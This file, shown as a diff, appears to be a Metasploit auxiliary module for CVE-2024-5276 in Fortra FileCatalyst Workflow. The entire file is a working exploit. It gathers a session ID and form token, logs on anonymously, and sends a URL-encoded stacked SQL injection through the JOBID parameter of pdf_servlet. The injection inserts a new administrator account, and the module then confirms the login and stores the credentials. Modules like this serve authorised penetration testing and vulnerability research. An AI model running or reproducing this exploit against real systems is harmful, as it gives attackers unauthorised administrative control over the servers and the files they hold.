|
| 1 | +require 'digest/md5' |
| 2 | + |
| 3 | +class MetasploitModule < Msf::Auxiliary |
| 4 | + include Msf::Exploit::Remote::HttpClient |
| 5 | + |
| 6 | + def initialize(info = {}) |
| 7 | + super( |
| 8 | + update_info( |
| 9 | + info, |
| 10 | + 'Name' => 'Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)', |
| 11 | + 'Description' => %q{ |
| 12 | + This module exploits a SQL injection vulnerability in Fortra FileCatalyst Workflow <= v5.1.6 Build 135, by adding a new |
| 13 | + administrative user to the web interface of the application. |
| 14 | + }, |
| 15 | + 'Author' => [ |
| 16 | + 'Tenable', # Discovery and PoC |
| 17 | + 'Michael Heinzl' # MSF Module |
| 18 | + ], |
| 19 | + 'References' => [ |
| 20 | + ['CVE', '2024-5276'], |
| 21 | + ['URL', 'https://www.tenable.com/security/research/tra-2024-25'], |
| 22 | + ['URL', 'https://support.fortra.com/filecatalyst/kb-articles/advisory-6-24-2024-filecatalyst-workflow-sql-injection-vulnerability-YmYwYWY4OTYtNTUzMi1lZjExLTg0MGEtNjA0NWJkMDg3MDA0'] |
| 23 | + ], |
| 24 | + 'DisclosureDate' => '2024-06-25', |
| 25 | + 'DefaultOptions' => { |
| 26 | + 'RPORT' => 8080 |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Notes' => { |
| 30 | + 'Stability' => [CRASH_SAFE], |
| 31 | + 'Reliability' => [REPEATABLE_SESSION], |
| 32 | + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] |
| 33 | + } |
| 34 | + ) |
| 35 | + ) |
| 36 | + |
| 37 | + register_options([ |
| 38 | + OptString.new('TARGETURI', [true, 'Base path', '/']), |
| 39 | + OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username]), |
| 40 | + OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alphanumeric(16)]), |
| 41 | + OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email]) |
| 42 | + ]) |
| 43 | + end |
| 44 | + |
| 45 | + def run |
| 46 | + print_status('Starting SQL injection workflow...') |
| 47 | + |
| 48 | + res = send_request_cgi( |
| 49 | + 'method' => 'GET', |
| 50 | + 'uri' => normalize_uri(target_uri.path, 'workflow/') |
| 51 | + ) |
| 52 | + |
| 53 | + unless res |
| 54 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') |
| 55 | + end |
| 56 | + unless res.code == 200 |
| 57 | + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') |
| 58 | + end |
| 59 | + print_good('Server reachable.') |
| 60 | + |
| 61 | + raw_res = res.to_s |
| 62 | + unless raw_res =~ /JSESSIONID=(\w+);/ |
| 63 | + fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.') |
| 64 | + end |
| 65 | + |
| 66 | + jsessionid = ::Regexp.last_match(1) |
| 67 | + print_status("JSESSIONID value: #{jsessionid}") |
| 68 | + |
| 69 | + res = send_request_cgi( |
| 70 | + 'method' => 'GET', |
| 71 | + 'uri' => normalize_uri(target_uri.path, "workflow/jsp/logon.jsp;jsessionid=#{jsessionid}"), |
| 72 | + 'headers' => { |
| 73 | + 'Cookie' => "JSESSIONID=#{jsessionid}" |
| 74 | + } |
| 75 | + ) |
| 76 | + |
| 77 | + unless res |
| 78 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') |
| 79 | + end |
| 80 | + |
| 81 | + body = res.body |
| 82 | + unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/ |
| 83 | + fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.') |
| 84 | + end |
| 85 | + |
| 86 | + token_value = ::Regexp.last_match(1) |
| 87 | + print_status("FCWEB.FORM.TOKEN value: #{token_value}") |
| 88 | + |
| 89 | + res = send_request_cgi( |
| 90 | + 'method' => 'GET', |
| 91 | + 'uri' => normalize_uri(target_uri.path, "workflow/logonAnonymous.do?FCWEB.FORM.TOKEN=#{token_value}"), |
| 92 | + 'headers' => { |
| 93 | + 'Cookie' => "JSESSIONID=#{jsessionid}" |
| 94 | + } |
| 95 | + ) |
| 96 | + |
| 97 | + unless res |
| 98 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') |
| 99 | + end |
| 100 | + |
| 101 | + unless res.headers['Location'] |
| 102 | + fail_with(Failure::UnexpectedReply, 'Location header not found.') |
| 103 | + end |
| 104 | + |
| 105 | + location_value = res.headers['Location'] |
| 106 | + print_status("Redirect #1: #{location_value}") |
| 107 | + |
| 108 | + res = send_request_cgi( |
| 109 | + 'method' => 'GET', |
| 110 | + 'uri' => normalize_uri(target_uri.path, location_value.to_s), |
| 111 | + 'headers' => { |
| 112 | + 'Cookie' => "JSESSIONID=#{jsessionid}" |
| 113 | + } |
| 114 | + ) |
| 115 | + |
| 116 | + unless res |
| 117 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') |
| 118 | + end |
| 119 | + |
| 120 | + unless res.headers['Location'] |
| 121 | + fail_with(Failure::UnexpectedReply, 'Location header not found.') |
| 122 | + end |
| 123 | + |
| 124 | + location_value = res.headers['Location'] |
| 125 | + print_status("Redirect #2: #{location_value}") |
| 126 | + |
| 127 | + res = send_request_cgi( |
| 128 | + 'method' => 'GET', |
| 129 | + 'uri' => normalize_uri(target_uri.path, location_value.to_s), |
| 130 | + 'headers' => { |
| 131 | + 'Cookie' => "JSESSIONID=#{jsessionid}" |
| 132 | + } |
| 133 | + ) |
| 134 | + |
| 135 | + unless res |
| 136 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') |
| 137 | + end |
| 138 | + |
| 139 | + html = res.get_html_document |
| 140 | + h2_tag = html.at_css('h2') |
| 141 | + |
| 142 | + unless h2_tag |
| 143 | + fail_with(Failure::UnexpectedReply, 'h2 tag not found.') |
| 144 | + end |
| 145 | + |
| 146 | + h2_text = h2_tag.text.strip |
| 147 | + unless h2_text == 'Choose an Order Type' |
| 148 | + fail_with(Failure::UnexpectedReply, 'Unexpected string found inside h2 tag: ' + h2_text) |
| 149 | + end |
| 150 | + |
| 151 | + print_status('Received expected response.') |
| 152 | + |
| 153 | + t = Time.now |
| 154 | + username = datastore['NEW_USERNAME'] |
| 155 | + password = Digest::MD5.hexdigest(datastore['NEW_PASSWORD']).upcase |
| 156 | + email = datastore['NEW_EMAIL'] |
| 157 | + firstname = Faker::Name.first_name |
| 158 | + lastname = Faker::Name.last_name |
| 159 | + areacode = rand(100..999) |
| 160 | + exchangecode = rand(100..999) |
| 161 | + subscribernumber = rand(1000..9999) |
| 162 | + phone = format('(%<areacode>03d) %<exchangecode>03d-%<subscribernumber>04d', |
| 163 | + areacode: areacode, |
| 164 | + exchangecode: exchangecode, |
| 165 | + subscribernumber: subscribernumber) |
| 166 | + creation = "+#{t.strftime('%s%L')}" |
| 167 | + pw_creationdate = "+#{t.strftime('%s%L')}" |
| 168 | + lastlogin = "+#{t.strftime('%s%L')}" |
| 169 | + |
| 170 | + vprint_status('Adding New Admin User:') |
| 171 | + vprint_status("\tUsername: #{username}") |
| 172 | + vprint_status("\tPassword: #{datastore['NEW_PASSWORD']} (#{password})") |
| 173 | + vprint_status("\tEmail: #{email}") |
| 174 | + vprint_status("\tFirstName: #{firstname}") |
| 175 | + vprint_status("\tLastName: #{lastname}") |
| 176 | + vprint_status("\tPhone: #{phone}") |
| 177 | + vprint_status("\tCreation: #{creation}") |
| 178 | + vprint_status("\tPW_CreationDate: #{pw_creationdate}") |
| 179 | + vprint_status("\tLastLogin: #{lastlogin}") |
| 180 | + |
| 181 | + payload = '1%27%3BINSERT+INTO+DOCTERA_USERS+%28USERNAME%2C+PASSWORD%2C+ENCPASSWORD%2C+FIRSTNAME%2C+LASTNAME%2C+COMPANY%2C' \ |
| 182 | + 'ADDRESS%2C+ADDRESS2%2C+CITY%2C+STATE%2C+ALTPHONE%2C+ZIP%2C+COUNTRY%2C+PHONE%2C+FAX%2C+EMAIL%2C+LASTLOGIN%2C' \ |
| 183 | + 'CREATION%2C+PREFERREDSERVER%2C+CREDITCARDTYPE%2C+CREDITCARDNUMBER%2C+CREDITCARDEXPIRY%2C+ACCOUNTSTATUS%2C+USERTYPE%2C' \ |
| 184 | + 'COMMENT%2C+ADMIN%2C+SUPERADMIN%2C+ACCEPTEMAIL%2C+ALLOWHOTFOLDER%2C+PROTOCOL%2C+BANDWIDTH%2C+DIRECTORY%2C+SLOWSTARTRATE%2C' \ |
| 185 | + 'USESLOWSTART%2C+SLOWSTARTAGGRESSIONRATE%2C+BLOCKSIZE%2C+UNITSIZE%2C+NUMENCODERS%2C+NUMFTPSTREAMS%2C+ALLOWUSERBANDWIDTHTUNING%2C' \ |
| 186 | + 'EXPIRYDATE%2C+ALLOWTEMPACCOUNTCREATION%2C+OWNERUSERNAME%2C+USERLEVEL%2C+UPLOADMETHOD%2C+PW_CHANGEABLE%2C+PW_CREATIONDATE%2C' \ |
| 187 | + "PW_DAYSBEFOREEXPIRE%2C+PW_MUSTCHANGE%2C+PW_USEDPASSWORDS%2C+PW_NUMERRORS%29+VALUES%28%27#{username}%27%2C+NULL%2C+" \ |
| 188 | + "%27#{password}%27%2C+%27#{firstname}%27%2C+%27#{lastname}%27%2C+%27%27%2C+" \ |
| 189 | + '%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27202-404-2400%27%2C+%27%27%2C+' \ |
| 190 | + "%27#{email}%27%2C#{lastlogin}%2C#{creation}%2C+%27default%27%2C+%27%27%2C+%27%27%2C+" \ |
| 191 | + '%27%27%2C+%27full+access%27%2C+%27%27%2C+%27%27%2C+1%2C+0%2C+0%2C+0%2C+%27DEFAULT%27%2C+%270%27%2C+0%2C+' \ |
| 192 | + '%270%27%2C+1%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+%27%27%2C+0%2C+0%2C+0%2C+%27%27%2C+0%2C+' \ |
| 193 | + "%27DEFAULT%27%2C+0%2C#{pw_creationdate}%2C+-1%2C+0%2C+NULL%2C+0%29%3B--+-" |
| 194 | + |
| 195 | + res = send_request_cgi( |
| 196 | + 'method' => 'GET', |
| 197 | + 'uri' => normalize_uri(target_uri.path, "workflow/servlet/pdf_servlet?JOBID=#{payload}"), |
| 198 | + 'headers' => { |
| 199 | + 'Cookie' => "JSESSIONID=#{jsessionid}" |
| 200 | + } |
| 201 | + ) |
| 202 | + |
| 203 | + unless res |
| 204 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') |
| 205 | + end |
| 206 | + |
| 207 | + fail_with(Failure::UnexpectedReply, "Unexpected HTTP code from the target: #{res.code}") unless res.code == 200 |
| 208 | + fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.body.to_s == '' |
| 209 | + print_good('SQL injection successful!') |
| 210 | + |
| 211 | + print_status('Confirming credentials...') |
| 212 | + |
| 213 | + res = send_request_cgi( |
| 214 | + 'method' => 'GET', |
| 215 | + 'uri' => normalize_uri(target_uri.path, 'workflow/jsp/logon.jsp'), |
| 216 | + 'headers' => { |
| 217 | + 'Cookie' => "JSESSIONID=#{jsessionid}" |
| 218 | + } |
| 219 | + ) |
| 220 | + |
| 221 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res |
| 222 | + |
| 223 | + body = res.body |
| 224 | + unless body =~ /name="FCWEB\.FORM\.TOKEN" value="([^"]+)"/ |
| 225 | + fail_with(Failure::UnexpectedReply, 'FCWEB.FORM.TOKEN not found.') |
| 226 | + end |
| 227 | + |
| 228 | + token_value = ::Regexp.last_match(1) |
| 229 | + print_status("FCWEB.FORM.TOKEN value: #{token_value}") |
| 230 | + |
| 231 | + res = send_request_cgi( |
| 232 | + 'method' => 'POST', |
| 233 | + 'uri' => normalize_uri(target_uri.path, 'workflow/logon.do'), |
| 234 | + 'headers' => { |
| 235 | + 'Cookie' => "JSESSIONID=#{jsessionid}", |
| 236 | + 'Content-Type' => 'application/x-www-form-urlencoded' |
| 237 | + }, |
| 238 | + 'vars_post' => { |
| 239 | + 'username' => datastore['NEW_USERNAME'], |
| 240 | + 'password' => datastore['NEW_PASSWORD'], |
| 241 | + 'FCWEB.FORM.TOKEN' => token_value.to_s, |
| 242 | + 'submit' => 'Login' |
| 243 | + } |
| 244 | + ) |
| 245 | + |
| 246 | + unless res |
| 247 | + fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') |
| 248 | + end |
| 249 | + |
| 250 | + html = res.get_html_document |
| 251 | + title_block = html.at_css('.titleBlock') |
| 252 | + |
| 253 | + unless title_block |
| 254 | + fail_with(Failure::UnexpectedReply, 'Expected titleBlock not found.') |
| 255 | + end |
| 256 | + title_text = title_block.text.strip |
| 257 | + |
| 258 | + unless title_text.include?('Administration') |
| 259 | + fail_with(Failure::UnexpectedReply, 'Expected string "Administration" not found.') |
| 260 | + end |
| 261 | + store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html) |
| 262 | + print_good('Login successful!') |
| 263 | + |
| 264 | + print_good("New admin user was successfully injected:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}") |
| 265 | + print_good("Login at: #{full_uri(normalize_uri(target_uri, 'workflow/jsp/logon.jsp'))}") |
| 266 | + end |
| 267 | + |
| 268 | +end |
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